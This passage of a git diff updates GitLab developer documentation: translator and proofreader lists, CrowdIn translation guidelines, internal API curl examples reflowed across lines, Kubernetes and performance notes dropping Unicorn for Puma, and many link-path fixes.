index a15eb4c3bc2..fc19ab93ecd 100644
--- a/doc/development/i18n/proofreader.md
+++ b/doc/development/i18n/proofreader.md
@@ -87,6 +87,7 @@ are very appreciative of the work done by translators and proofreaders!
- Polish
- Filip Mech - [GitLab](https://gitlab.com/mehenz), [CrowdIn](https://crowdin.com/profile/mehenz)
- Maksymilian Roman - [GitLab](https://gitlab.com/villaincandle), [CrowdIn](https://crowdin.com/profile/villaincandle)
+ - Jakub GÅ‚adykowski - [GitLab](https://gitlab.com/gladykov), [CrowdIn](https://crowdin.com/profile/gladykov)
- Portuguese
- Diogo Trindade - [GitLab](https://gitlab.com/luisdiogo2071317), [CrowdIn](https://crowdin.com/profile/ldiogotrindade)
- Portuguese, Brazilian
@@ -108,7 +109,7 @@ are very appreciative of the work done by translators and proofreaders!
- Spanish
- Pedro Garcia - [GitLab](https://gitlab.com/pedgarrod), [CrowdIn](https://crowdin.com/profile/breaking_pitt)
- Swedish
- - Proofreaders needed.
+ - Johannes Nilsson - [GitLab](https://gitlab.com/nlssn), [CrowdIn](https://crowdin.com/profile/nlssn)
- Turkish
- Ali DemirtaÅŸ - [GitLab](https://gitlab.com/alidemirtas), [CrowdIn](https://crowdin.com/profile/alidemirtas)
- Rıfat Ünalmış (Rifat Unalmis) - [GitLab](https://gitlab.com/runalmis), [CrowdIn](https://crowdin.com/profile/runalmis)
@@ -121,35 +122,35 @@ are very appreciative of the work done by translators and proofreaders!
## Become a proofreader
-Before requesting Proofreader permissions in CrowdIn, be sure you have a history
-of contributing translations to the GitLab project.
+Before requesting proofreader permissions in CrowdIn, be sure you have a history of contributing
+translations to the GitLab project.
1. Contribute translations to GitLab. See instructions for
[translating GitLab](translation.md).
- Translating GitLab is a community effort that requires team work and
- attention to detail. Proofreaders play an important role helping new
- contributors, and ensuring the consistency and quality of translations.
- Your conduct and contributions as a translator should reflect this before
- requesting to be a proofreader.
+ Translating GitLab is a community effort that requires teamwork and attention to detail.
+ Proofreaders play an important role helping new contributors, and ensuring the consistency and
+ quality of translations. Your conduct and contributions as a translator should reflect this
+ before requesting to be a proofreader.
+
+1. Request proofreader permissions by opening a merge request to add yourself to the list of
+ proofreaders.
+
+ Open the [`proofreader.md` source file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/i18n/proofreader.md) and click **Edit**.
-1. Request proofreader permissions by opening a merge request to add yourself
- to the list of proofreaders.
+ Add your language in alphabetical order and add yourself to the list, including:
- Open the [proofreader.md source file](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/i18n/proofreader.md) and click **Edit**.
+ - Name
+ - Link to your GitLab profile
+ - Link to your CrowdIn profile
- Add your language in alphabetical order, and add yourself to the list
- including:
- - name
- - link to your GitLab profile
- - link to your CrowdIn profile
+ In the merge request description, include links to any projects you have previously translated.
- In the merge request description, include links to any projects you have
- previously translated.
+1. [GitLab team members](https://about.gitlab.com/company/team/),
+ [Core team members](https://about.gitlab.com/community/core-team/),
+ or current proofreaders fluent in the language consider your request to become a proofreader
+ based on the merits of your previous translations.
-1. Your request to become a proofreader is considered on the merits of
- your previous translations by [GitLab team members](https://about.gitlab.com/company/team/)
- or [Core team members](https://about.gitlab.com/community/core-team/) who are fluent in
- the language or current proofreaders.
- - When a request is made for the first proofreader for a language and there are no [GitLab team members](https://about.gitlab.com/company/team/)
- or [Core team members](https://about.gitlab.com/community/core-team/) who speak the language, we shall request links to previous translation work in other communities or projects.
+ - If you request to become the first proofreader for a language and there are no GitLab or Core
+ team members who speak that language, we request links to previous translation work in other
+ communities or projects.
diff --git a/doc/development/i18n/translation.md b/doc/development/i18n/translation.md
index f3d02e180e7..f2592d9a8b9 100644
--- a/doc/development/i18n/translation.md
+++ b/doc/development/i18n/translation.md
@@ -6,47 +6,39 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Translating GitLab
-For managing the translation process we use [CrowdIn](https://crowdin.com).
+For managing the translation process, we use [CrowdIn](https://crowdin.com).
+To contribute translations at [`translate.gitlab.com`](https://translate.gitlab.com),
+you must create a CrowdIn account. You may create a new account or use any of their supported
+sign-in services.
-## Using CrowdIn
+## Language selections
-The first step is to get familiar with CrowdIn.
+GitLab is being translated into many languages. To select a language to contribute to:
-### Sign In
+1. Find the language that you want to contribute to, in the
+ [GitLab CrowdIn project](https://crowdin.com/project/gitlab-ee).
-To contribute translations at <https://translate.gitlab.com>
-you must create a CrowdIn account.
-You may create a new account or use any of their supported sign in services.
+ - If the language you want is available, proceed to the next step.
+ - If the language you want is not available,
+ [open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=✓&state=all&label_name[]=Category%3AInternationalization).
+ Notify our CrowdIn administrators by including `@gitlab-org/manage/import` in your issue.
+ - After the issue and any merge requests are complete, restart this procedure.
-### Language Selections
+1. View the list of files and folders. Select `gitlab.pot` to open the translation editor.
-GitLab is being translated into many languages.
-
-1. Find the language that you want to contribute to, in our
- [GitLab Crowdin project](https://crowdin.com/project/gitlab-ee).
- - If the language that you're looking for is available, proceed
- to the next step.
- - If the language you are looking for is not available,
- [open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=✓&state=all&label_name[]=Category%3AInternationalization). Notify our Crowdin
- administrators by including `@gitlab-org/manage/import` in your issue.
- - After the issue/Merge Request is complete, restart this procedure.
-1. Next, you can view list of files and folders.
- Select `gitlab.pot` to open the translation editor.
-
-### Translation Editor
+### Translation editor
The online translation editor is the easiest way to contribute translations.
![CrowdIn Editor](img/crowdin-editor.png)
-1. Strings for translation are listed in the left panel
-1. Translations are entered into the central panel.
- Multiple translations are required for strings that contains plurals.
- The string to be translated is shown above with glossary terms highlighted.
- If the string to be translated is not clear, you can 'Request Context'
+- Strings for translation are listed in the left panel.
+- Translations are entered into the central panel. Multiple translations are required for strings
+ that contain plurals. The string to translate is shown in the above image with glossary terms
+ highlighted. If the string to translate isn't clear, you can request context.
-A glossary of common terms is available in the right panel by clicking Terms.
-Comments can be added to discuss a translation with the community.
+A glossary of common terms is available in the **Terms** tab in the right panel. In the **Comments**
+tab, you can add comments to discuss a translation with the community.
Remember to **Save** each translation.
@@ -56,21 +48,18 @@ Be sure to check the following guidelines before you translate any strings.
### Namespaced strings
-When an externalized string is prepended with a namespace, e.g.
-`s_('OpenedNDaysAgo|Opened')`, the namespace should be removed from the final
-translation.
-For example in French `OpenedNDaysAgo|Opened` would be translated to
-`Ouvert•e`, not `OpenedNDaysAgo|Ouvert•e`.
+When an externalized string is prepended with a namespace (for example,
+`s_('OpenedNDaysAgo|Opened')`), the namespace should be removed from the final translation. For
+example, in French, `OpenedNDaysAgo|Opened` is translated to `Ouvert•e`, not
+`OpenedNDaysAgo|Ouvert•e`.
### Technical terms
-Some technical terms should be treated like proper nouns and not be translated.
-
-Technical terms that should always be in English are noted in the glossary when
-using <https://translate.gitlab.com>.
-
-This helps maintain a logical connection and consistency between tools (e.g.
-`git` client) and GitLab.
+You should treat some technical terms like proper nouns and not translate them. Technical terms that
+should always be in English are noted in the glossary when using
+[`translate.gitlab.com`](https://translate.gitlab.com).
+This helps maintain a logical connection and consistency between tools (for example, a Git client)
+and GitLab.
### Formality
@@ -78,36 +67,33 @@ The level of formality used in software varies by language:
| Language | Formality | Example |
| -------- | --------- | ------- |
-| French | formal | `vous` for `you` |
-| German | informal | `du` for `you` |
+| French | formal | `vous` for `you` |
+| German | informal | `du` for `you` |
-You can refer to other translated strings and notes in the glossary to assist
-determining a suitable level of formality.
+Refer to other translated strings and notes in the glossary to assist you in determining a suitable
+level of formality.
### Inclusive language
-[Diversity](https://about.gitlab.com/handbook/values/#diversity) is a GitLab value.
-We ask you to avoid translations which exclude people based on their gender or
-ethnicity.
-In languages which distinguish between a male and female form, use both or
-choose a neutral formulation.
+[Diversity, inclusion, and belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion)
+are GitLab values. We ask you to avoid translations that exclude people based on their gender or
+ethnicity. In languages that distinguish between a male and female form, use both or choose a
+neutral formulation.
<!-- vale gitlab.Spelling = NO -->
-For example in German, the word "user" can be translated into "Benutzer" (male) or "Benutzerin" (female).
-Therefore "create a new user" would translate into "Benutzer(in) anlegen".
+For example, in German, the word _user_ can be translated into _Benutzer_ (male) or _Benutzerin_
+(female). Therefore, _create a new user_ translates to _Benutzer(in) anlegen_.
<!-- vale gitlab.Spelling = YES -->
### Updating the glossary
-To propose additions to the glossary please
+To propose additions to the glossary, please
[open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=✓&state=all&label_name[]=Category%3AInternationalization).
-## French Translation Guidelines
-
-### Inclusive language in French
+## French translation guidelines
<!-- vale gitlab.Spelling = NO -->
-In French, the "écriture inclusive" is now over (see on [Legifrance](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000036068906/)).
-So, to include both genders, write "Utilisateurs et utilisatrices" instead of "Utilisateur·rice·s".
-When space is missing, the male gender should be used alone.
+In French, the _écriture inclusive_ is now over (see on [Legifrance](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000036068906/)).
+To include both genders, write _Utilisateurs et utilisatrices_ instead of _Utilisateur·rice·s_. If
+there is not enough space, use the male gender alone.
<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/development/import_project.md b/doc/development/import_project.md
index 0c8406e2ebc..71d8f8b34b9 100644
--- a/doc/development/import_project.md
+++ b/doc/development/import_project.md
@@ -53,7 +53,7 @@ This method takes longer to import than the other methods and depends on several
### Importing via a Rake task
-> The [Rake task](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/tasks/gitlab/import_export/import.rake) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20724) in GitLab 12.6, replacing a GitLab.com Ruby script.
+> The [Rake task](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/tasks/gitlab/import_export/import.rake) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20724) in GitLab 12.6, replacing a GitLab.com Ruby script.
This script was introduced in GitLab 12.6 for importing large GitLab project exports.
diff --git a/doc/development/integrations/codesandbox.md b/doc/development/integrations/codesandbox.md
index 234f8c7fe0b..caef1cd045b 100644
--- a/doc/development/integrations/codesandbox.md
+++ b/doc/development/integrations/codesandbox.md
@@ -126,7 +126,7 @@ index 6eed627b502..1824669e881 100644
+++ b/app/models/application_setting_implementation.rb
@@ -391,7 +391,7 @@ def static_objects_external_storage_enabled?
# This will eventually be configurable
- # https://gitlab.com/gitlab-org/gitlab/issues/208161
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/208161
def web_ide_clientside_preview_bundler_url
- 'https://sandbox-prod.gitlab-static.net'
+ 'https://sandpack.local:8044'
diff --git a/doc/development/integrations/jenkins.md b/doc/development/integrations/jenkins.md
index f54abfd17fd..0e42055cba2 100644
--- a/doc/development/integrations/jenkins.md
+++ b/doc/development/integrations/jenkins.md
@@ -24,7 +24,8 @@ brew services start jenkins
GitLab does not allow requests to localhost or the local network by default. When running Jenkins on your local machine, you need to enable local access.
1. Log into your GitLab instance as an administrator.
-1. Go to **Admin Area > Settings > Network**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Network**.
1. Expand **Outbound requests** and check the following checkboxes:
- **Allow requests to the local network from web hooks and services**
diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md
index fe3135b72b6..c4d8dfd3b95 100644
--- a/doc/development/integrations/secure.md
+++ b/doc/development/integrations/secure.md
@@ -550,7 +550,7 @@ of the available SAST Analyzers and what data is currently available.
The `remediations` field of the report is an array of remediation objects.
Each remediation describes a patch that can be applied to
-[automatically fix](../../user/application_security/vulnerabilities/index.md#remediate-a-vulnerability-automatically)
+[resolve](../../user/application_security/vulnerabilities/index.md#resolve-a-vulnerability)
a set of vulnerabilities.
Here is an example of a report that contains remediations.
diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md
index fedd424309d..e6048bed152 100644
--- a/doc/development/integrations/secure_partner_integration.md
+++ b/doc/development/integrations/secure_partner_integration.md
@@ -90,7 +90,7 @@ and complete an integration with the Secure stage.
- Documentation for [SAST reports](../../user/application_security/sast/index.md#reports-json-format).
- Documentation for [Dependency Scanning reports](../../user/application_security/dependency_scanning/index.md#reports-json-format).
- Documentation for [Container Scanning reports](../../user/application_security/container_scanning/index.md#reports-json-format).
- - See this [example secure job definition that also defines the artifact created](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml).
+ - See this [example secure job definition that also defines the artifact created](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml).
- If you need a new kind of scan or report, [create an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new#)
and add the label `devops::secure`.
- Once the job is completed, the data can be seen:
@@ -101,7 +101,7 @@ and complete an integration with the Secure stage.
- Users can interact with the findings from your artifact within their workflow. They can dismiss the findings or accept them and create a backlog issue.
- To automatically create issues without user interaction, use the [issue API](../../api/issues.md).
1. Optional: Provide auto-remediation steps:
- - If you specified `remediations` in your artifact, it is proposed through our [automatic remediation](../../user/application_security/vulnerabilities/index.md#remediate-a-vulnerability-automatically)
+ - If you specified `remediations` in your artifact, it is proposed through our [remediation](../../user/application_security/vulnerabilities/index.md#resolve-a-vulnerability)
interface.
1. Demo the integration to GitLab:
- After you have tested and are ready to demo your integration please
diff --git a/doc/development/internal_api.md b/doc/development/internal_api.md
index 57dd1c0a65b..95139f731e1 100644
--- a/doc/development/internal_api.md
+++ b/doc/development/internal_api.md
@@ -76,7 +76,9 @@ POST /internal/allowed
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2&action=git-upload-pack&protocol=ssh" "http://localhost:3001/api/v4/internal/allowed"
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" \
+ --data "key_id=11&project=gnuwget/wget2&action=git-upload-pack&protocol=ssh" \
+ "http://localhost:3001/api/v4/internal/allowed"
```
Example response:
@@ -124,7 +126,8 @@ information for LFS clients when the repository is accessed over SSH.
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2" "http://localhost:3001/api/v4/internal/lfs_authenticate"
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" \
+ --data "key_id=11&project=gnuwget/wget2" "http://localhost:3001/api/v4/internal/lfs_authenticate"
```
```json
@@ -258,7 +261,8 @@ GET /internal/two_factor_recovery_codes
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "key_id=7" "http://localhost:3001/api/v4/internal/two_factor_recovery_codes"
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" \
+ --data "key_id=7" "http://localhost:3001/api/v4/internal/two_factor_recovery_codes"
```
Example response:
@@ -305,7 +309,9 @@ POST /internal/personal_access_token
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "user_id=29&name=mytokenname&scopes[]=read_user&scopes[]=read_repository&expires_at=2020-07-24" "http://localhost:3001/api/v4/internal/personal_access_token"
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" \
+ --data "user_id=29&name=mytokenname&scopes[]=read_user&scopes[]=read_repository&expires_at=2020-07-24" \
+ "http://localhost:3001/api/v4/internal/personal_access_token"
```
Example response:
@@ -339,7 +345,8 @@ POST /internal/pre_receive
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" "http://localhost:3001/api/v4/internal/pre_receive"
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" \
+ --data "gl_repository=project-7" "http://localhost:3001/api/v4/internal/pre_receive"
```
Example response:
@@ -371,7 +378,10 @@ POST /internal/post_receive
Example Request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" --data "identifier=user-1" --data "changes=0000000000000000000000000000000000000000 fd9e76b9136bdd9fe217061b497745792fe5a5ee gh-pages\n" "http://localhost:3001/api/v4/internal/post_receive"
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" \
+ --data "gl_repository=project-7" --data "identifier=user-1" \
+ --data "changes=0000000000000000000000000000000000000000 fd9e76b9136bdd9fe217061b497745792fe5a5ee gh-pages\n" \
+ "http://localhost:3001/api/v4/internal/post_receive"
```
Example response:
@@ -418,7 +428,8 @@ GET /internal/kubernetes/agent_info
Example Request:
```shell
-curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/agent_info"
+curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" \
+ --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/agent_info"
```
### Kubernetes agent project information
@@ -443,7 +454,8 @@ GET /internal/kubernetes/project_info
Example Request:
```shell
-curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/project_info?id=7"
+curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" \
+ --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/project_info?id=7"
```
### Kubernetes agent usage metrics
@@ -463,7 +475,8 @@ POST /internal/kubernetes/usage_metrics
Example Request:
```shell
-curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Content-Type: application/json" --data '{"gitops_sync_count":1}' "http://localhost:3000/api/v4/internal/kubernetes/usage_metrics"
+curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Content-Type: application/json" \
+ --data '{"gitops_sync_count":1}' "http://localhost:3000/api/v4/internal/kubernetes/usage_metrics"
```
### Kubernetes agent alert metrics
@@ -482,7 +495,10 @@ POST internal/kubernetes/modules/cilium_alert
Example Request:
```shell
-curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" --header "Content-Type: application/json" --data '"{\"alert\":{\"title\":\"minimal\",\"message\":\"network problem\",\"evalMatches\":[{\"value\":1,\"metric\":\"Count\",\"tags\":{}}]}}"' "http://localhost:3000/api/v4/internal/kubernetes/modules/cilium_alert"
+curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" \
+ --header "Authorization: Bearer <agent token>" --header "Content-Type: application/json" \
+ --data '"{\"alert\":{\"title\":\"minimal\",\"message\":\"network problem\",\"evalMatches\":[{\"value\":1,\"metric\":\"Count\",\"tags\":{}}]}}"' \
+ "http://localhost:3000/api/v4/internal/kubernetes/modules/cilium_alert"
```
## Subscriptions
diff --git a/doc/development/jh_features_review.md b/doc/development/jh_features_review.md
index 260da2d7ef2..b139a380344 100644
--- a/doc/development/jh_features_review.md
+++ b/doc/development/jh_features_review.md
@@ -23,6 +23,12 @@ We have two kinds of changes related to JH:
If needed, review the corresponding JH merge request located at [JH repository](https://gitlab.com/gitlab-jh/gitlab)
+## Process overview
+
+See the [merge request process](https://about.gitlab.com/handbook/ceo/chief-of-staff-team/jihu-support/#merge-request-process)
+on the JiHu Support handbook.
+This page is the single source of truth for JiHu-related processes.
+
## Act as EE when `jh/` does not exist
- In the case of EE repository, `jh/` does not exist so it should just act like EE (or CE when the license is absent)
diff --git a/doc/development/kubernetes.md b/doc/development/kubernetes.md
index 5be2080eb64..9e67227ec7f 100644
--- a/doc/development/kubernetes.md
+++ b/doc/development/kubernetes.md
@@ -35,12 +35,12 @@ We use the [`kubeclient`](https://rubygems.org/gems/kubeclient) gem to
perform Kubernetes API calls. As the `kubeclient` gem does not support
different API Groups (such as `apis/rbac.authorization.k8s.io`) from a
single client, we have created a wrapper class,
-[`Gitlab::Kubernetes::KubeClient`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/kubernetes/kube_client.rb)
+[`Gitlab::Kubernetes::KubeClient`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/kubernetes/kube_client.rb)
that enable you to achieve this.
Selected Kubernetes API groups are supported. Do add support
for new API groups or methods to
-[`Gitlab::Kubernetes::KubeClient`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/kubernetes/kube_client.rb)
+[`Gitlab::Kubernetes::KubeClient`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/kubernetes/kube_client.rb)
if you need to use them. New API groups or API group versions can be
added to `SUPPORTED_API_GROUPS` - internally, this creates an
internal client for that group. New methods can be added as a delegation
@@ -50,7 +50,7 @@ to the relevant internal client.
All calls to the Kubernetes API must be in a background process. Don't
perform Kubernetes API calls within a web request. This blocks
-Unicorn, and can lead to a denial-of-service (DoS) attack in GitLab as
+webserver, and can lead to a denial-of-service (DoS) attack in GitLab as
the Kubernetes cluster response times are outside of our control.
The easiest way to ensure your calls happen a background process is to
@@ -58,7 +58,7 @@ delegate any such work to happen in a [Sidekiq worker](sidekiq_style_guide.md).
You may want to make calls to Kubernetes and return the response, but a background
worker isn't a good fit. Consider using
-[reactive caching](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/reactive_caching.rb).
+[reactive caching](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/concerns/reactive_caching.rb).
For example:
```ruby
@@ -76,7 +76,7 @@ For example:
### Testing
We have some WebMock stubs in
-[`KubernetesHelpers`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/support/helpers/kubernetes_helpers.rb)
+[`KubernetesHelpers`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/helpers/kubernetes_helpers.rb)
which can help with mocking out calls to Kubernetes API in your tests.
### Amazon EKS integration
@@ -107,7 +107,7 @@ The process for creating a cluster is as follows:
by `:provision_role_arn` and stores a set of temporary credentials on the
provider record. By default these credentials are valid for one hour.
1. A CloudFormation stack is created, based on the
- [`AWS CloudFormation EKS template`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/aws/cloudformation/eks_cluster.yaml).
+ [`AWS CloudFormation EKS template`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/vendor/aws/cloudformation/eks_cluster.yaml).
This triggers creation of all resources required for an EKS cluster.
1. GitLab polls the status of the stack until all resources are ready,
which takes somewhere between 10 and 15 minutes in most cases.
@@ -135,7 +135,7 @@ a cluster.
Mitigation strategies include:
1. Not allowing redirects to attacker controller resources:
- [`Kubeclient::KubeClient`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/kubernetes/kube_client.rb#)
+ [`Kubeclient::KubeClient`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/kubernetes/kube_client.rb#)
can be configured to disallow any redirects by passing in
`http_max_redirects: 0` as an option.
1. Not exposing error messages: by doing so, we
@@ -159,7 +159,7 @@ Logs related to the Kubernetes integration can be found in
GDK install, these logs are present in `log/kubernetes.log`.
Some services such as
-[`Clusters::Applications::InstallService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/clusters/applications/install_service.rb#L18)
+[`Clusters::Applications::InstallService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/clusters/applications/install_service.rb#L18)
rescues `StandardError` which can make it harder to debug issues in an
development environment. The current workaround is to temporarily
comment out the `rescue` in your local development source.
@@ -172,12 +172,3 @@ they are written:
```shell
kubectl logs <pod_name> --follow -n gitlab-managed-apps
```
-
-## GitLab Managed Apps
-
-GitLab provides [GitLab Managed Apps](../user/clusters/applications.md), a one-click
-install for various applications which can be added directly to your configured cluster.
-
-**<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview of how to add a new GitLab-managed app, see
-[How to add GitLab-managed-apps to Kubernetes integration](https://youtu.be/mKm-jkranEk).**
diff --git a/doc/development/licensing.md b/doc/development/licensing.md
index 5f03013a780..23871bf3c68 100644
--- a/doc/development/licensing.md
+++ b/doc/development/licensing.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# GitLab Licensing and Compatibility
-[GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss/) (CE) is licensed [under the terms of the MIT License](https://gitlab.com/gitlab-org/gitlab-foss/blob/master/LICENSE). [GitLab Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/) (EE) is licensed under "[The GitLab Enterprise Edition (EE) license](https://gitlab.com/gitlab-org/gitlab/blob/master/LICENSE)" wherein there are more restrictions.
+[GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss/) (CE) is licensed [under the terms of the MIT License](https://gitlab.com/gitlab-org/gitlab-foss/blob/master/LICENSE). [GitLab Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/) (EE) is licensed under "[The GitLab Enterprise Edition (EE) license](https://gitlab.com/gitlab-org/gitlab/-/blob/master/LICENSE)" wherein there are more restrictions.
## Automated Testing
diff --git a/doc/development/logging.md b/doc/development/logging.md
index 88ae3950f1a..45f5b672365 100644
--- a/doc/development/logging.md
+++ b/doc/development/logging.md
@@ -278,9 +278,9 @@ The API, Rails and Sidekiq logs contain fields starting with `meta.` with this c
Entry points can be seen at:
-- [`ApplicationController`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/controllers/application_controller.rb)
-- [External API](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/api.rb)
-- [Internal API](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/internal/base.rb)
+- [`ApplicationController`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/controllers/application_controller.rb)
+- [External API](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/api.rb)
+- [Internal API](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/internal/base.rb)
#### Adding attributes
diff --git a/doc/development/maintenance_mode.md b/doc/development/maintenance_mode.md
index f05a731a331..e308ab26c27 100644
--- a/doc/development/maintenance_mode.md
+++ b/doc/development/maintenance_mode.md
@@ -9,9 +9,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Where is Maintenance Mode enforced?
GitLab Maintenance Mode **only** blocks writes from HTTP and SSH requests at the application level in a few key places within the rails application.
-[Search the codebase for `maintenance_mode?`.](https://gitlab.com/search?utf8=%E2%9C%93&search=maintenance_mode%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=)
+[Search the codebase for `maintenance_mode?`.](https://gitlab.com/search?search=maintenance_mode%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=)
-- [the read-only database method](https://gitlab.com/gitlab-org/gitlab/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/database.rb#L13), which toggles special behavior when we are not allowed to write to the database. [Search the codebase for `Gitlab::Database.read_only?`.](https://gitlab.com/search?utf8=%E2%9C%93&search=Gitlab%3A%3ADatabase.read_only%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=)
+- [the read-only database method](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/database.rb#L13), which toggles special behavior when we are not allowed to write to the database. [Search the codebase for `Gitlab::Database.read_only?`.](https://gitlab.com/search?search=Gitlab%3A%3ADatabase.read_only%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=)
- [the read-only middleware](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/middleware/read_only/controller.rb), where HTTP requests that cause database writes are blocked, unless explicitly allowed.
- [Git push access via SSH is denied](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/git_access.rb#L13) by returning 401 when `gitlab-shell` POSTs to [`/internal/allowed`](internal_api.md) to [check if access is allowed](internal_api.md#git-authentication).
- [Container registry authentication service](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/app/services/ee/auth/container_registry_authentication_service.rb#L12), where updates to the container registry are blocked.
diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md
index 543ca809f45..973d4042cda 100644
--- a/doc/development/merge_request_performance_guidelines.md
+++ b/doc/development/merge_request_performance_guidelines.md
@@ -292,13 +292,13 @@ in a batch style.
**Summary:** You should set a reasonable timeout when the system invokes HTTP calls
to external services (such as Kubernetes), and it should be executed in Sidekiq, not
-in Puma/Unicorn threads.
+in Puma threads.
Often, GitLab needs to communicate with an external service such as Kubernetes
clusters. In this case, it's hard to estimate when the external service finishes
the requested process, for example, if it's a user-owned cluster that's inactive for some reason,
GitLab might wait for the response forever ([Example](https://gitlab.com/gitlab-org/gitlab/-/issues/31475)).
-This could result in Puma/Unicorn timeout and should be avoided at all cost.
+This could result in Puma timeout and should be avoided at all cost.
You should set a reasonable timeout, gracefully handle exceptions and surface the
errors in UI or logging internally.
@@ -598,10 +598,10 @@ Each feature that accepts data uploads or allows to download them needs to use
saved directly to Object Storage by Workhorse, and all downloads needs to be served
by Workhorse.
-Performing uploads/downloads via Unicorn/Puma is an expensive operation,
-as it blocks the whole processing slot (worker or thread) for the duration of the upload.
+Performing uploads/downloads via Puma is an expensive operation,
+as it blocks the whole processing slot (thread) for the duration of the upload.
-Performing uploads/downloads via Unicorn/Puma also has a problem where the operation
+Performing uploads/downloads via Puma also has a problem where the operation
can time out, which is especially problematic for slow clients. If clients take a long time
to upload/download the processing slot might be killed due to request processing
timeout (usually between 30s-60s).
diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md
index e1444f1a726..009ead8ba16 100644
